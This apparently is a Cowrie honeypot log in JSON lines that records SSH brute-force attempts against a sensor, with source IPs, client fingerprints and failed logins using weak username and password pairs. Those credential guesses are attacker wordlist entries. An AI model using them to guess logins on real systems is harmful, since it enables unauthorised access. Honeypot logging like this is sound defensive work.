{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:17.727192Z","src_ip":"45.156.87.253","session":"dc4512f75ee2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":39556,"dst_ip":"10.17.0.5","dst_port":22,"session":"324ec5107178","protocol":"ssh","message":"New connection: 45.156.87.253:39556 (10.17.0.5:22) [session: 324ec5107178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:19.833356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:19.837325Z","src_ip":"45.156.87.253","session":"324ec5107178","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:19.918222Z","src_ip":"45.156.87.253","session":"324ec5107178","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:20.161546Z","src_ip":"45.156.87.253","session":"324ec5107178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:21.245675Z","src_ip":"45.156.87.253","session":"324ec5107178","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":39562,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ab50b277d6a","protocol":"ssh","message":"New connection: 45.156.87.253:39562 (10.17.0.5:22) [session: 1ab50b277d6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:23.163444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:23.167050Z","src_ip":"45.156.87.253","session":"1ab50b277d6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:23.248122Z","src_ip":"45.156.87.253","session":"1ab50b277d6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"toor","message":"login attempt [deploy/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:23.495274Z","src_ip":"45.156.87.253","session":"1ab50b277d6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:24.589408Z","src_ip":"45.156.87.253","session":"1ab50b277d6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":39570,"dst_ip":"10.17.0.5","dst_port":22,"session":"8008d2613ae8","protocol":"ssh","message":"New connection: 45.156.87.253:39570 (10.17.0.5:22) [session: 8008d2613ae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:26.474162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:26.486405Z","src_ip":"45.156.87.253","session":"8008d2613ae8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:26.666962Z","src_ip":"45.156.87.253","session":"8008d2613ae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud123!","message":"login attempt [cloud/cloud123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:26.957977Z","src_ip":"45.156.87.253","session":"8008d2613ae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:28.040880Z","src_ip":"45.156.87.253","session":"8008d2613ae8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.208.24.40","src_port":50376,"dst_ip":"159.203.135.109","dst_port":22,"session":"644ada7eaa64","protocol":"ssh","message":"New connection: 172.208.24.40:50376 (159.203.135.109:22) [session: 644ada7eaa64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:28.553250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:28.577671Z","src_ip":"172.208.24.40","session":"644ada7eaa64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:28.580234Z","src_ip":"172.208.24.40","session":"644ada7eaa64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.208.24.40","src_port":50390,"dst_ip":"159.203.135.109","dst_port":22,"session":"e575366dc28e","protocol":"ssh","message":"New connection: 172.208.24.40:50390 (159.203.135.109:22) [session: e575366dc28e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:28.649855Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_159.203.135.109_22","message":"Remote SSH version: MGLNDD_159.203.135.109_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:28.667716Z","src_ip":"172.208.24.40","session":"e575366dc28e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:28.670889Z","src_ip":"172.208.24.40","session":"e575366dc28e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59598,"dst_ip":"10.17.0.5","dst_port":22,"session":"80f2d36a531c","protocol":"ssh","message":"New connection: 45.156.87.253:59598 (10.17.0.5:22) [session: 80f2d36a531c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:29.979128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:29.982709Z","src_ip":"45.156.87.253","session":"80f2d36a531c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:30.062956Z","src_ip":"45.156.87.253","session":"80f2d36a531c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gd","password":"gd","message":"login attempt [gd/gd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:30.306224Z","src_ip":"45.156.87.253","session":"80f2d36a531c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:31.509794Z","src_ip":"45.156.87.253","session":"80f2d36a531c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59620,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf569e3c27e0","protocol":"ssh","message":"New connection: 45.156.87.253:59620 (10.17.0.5:22) [session: bf569e3c27e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:33.299284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:33.302572Z","src_ip":"45.156.87.253","session":"bf569e3c27e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:33.382864Z","src_ip":"45.156.87.253","session":"bf569e3c27e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"Passw0rd","message":"login attempt [support/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:33.626173Z","src_ip":"45.156.87.253","session":"bf569e3c27e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:34.711256Z","src_ip":"45.156.87.253","session":"bf569e3c27e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59634,"dst_ip":"10.17.0.5","dst_port":22,"session":"4018dd9b0d84","protocol":"ssh","message":"New connection: 45.156.87.253:59634 (10.17.0.5:22) [session: 4018dd9b0d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:36.767631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:36.771514Z","src_ip":"45.156.87.253","session":"4018dd9b0d84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:36.853137Z","src_ip":"45.156.87.253","session":"4018dd9b0d84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:37.097614Z","src_ip":"45.156.87.253","session":"4018dd9b0d84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:38.181485Z","src_ip":"45.156.87.253","session":"4018dd9b0d84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:38.578433Z","src_ip":"172.208.24.40","session":"644ada7eaa64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36918,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbf0951b39d6","protocol":"ssh","message":"New connection: 45.156.87.253:36918 (10.17.0.5:22) [session: cbf0951b39d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:40.088840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:40.092740Z","src_ip":"45.156.87.253","session":"cbf0951b39d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:40.175262Z","src_ip":"45.156.87.253","session":"cbf0951b39d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"git","message":"login attempt [gitlab/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:40.417343Z","src_ip":"45.156.87.253","session":"cbf0951b39d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.11549663543701,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:41.112114Z","src_ip":"72.167.226.244","session":"e740cc43f033","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:41.500187Z","src_ip":"45.156.87.253","session":"cbf0951b39d6","protocol":"ssh"}
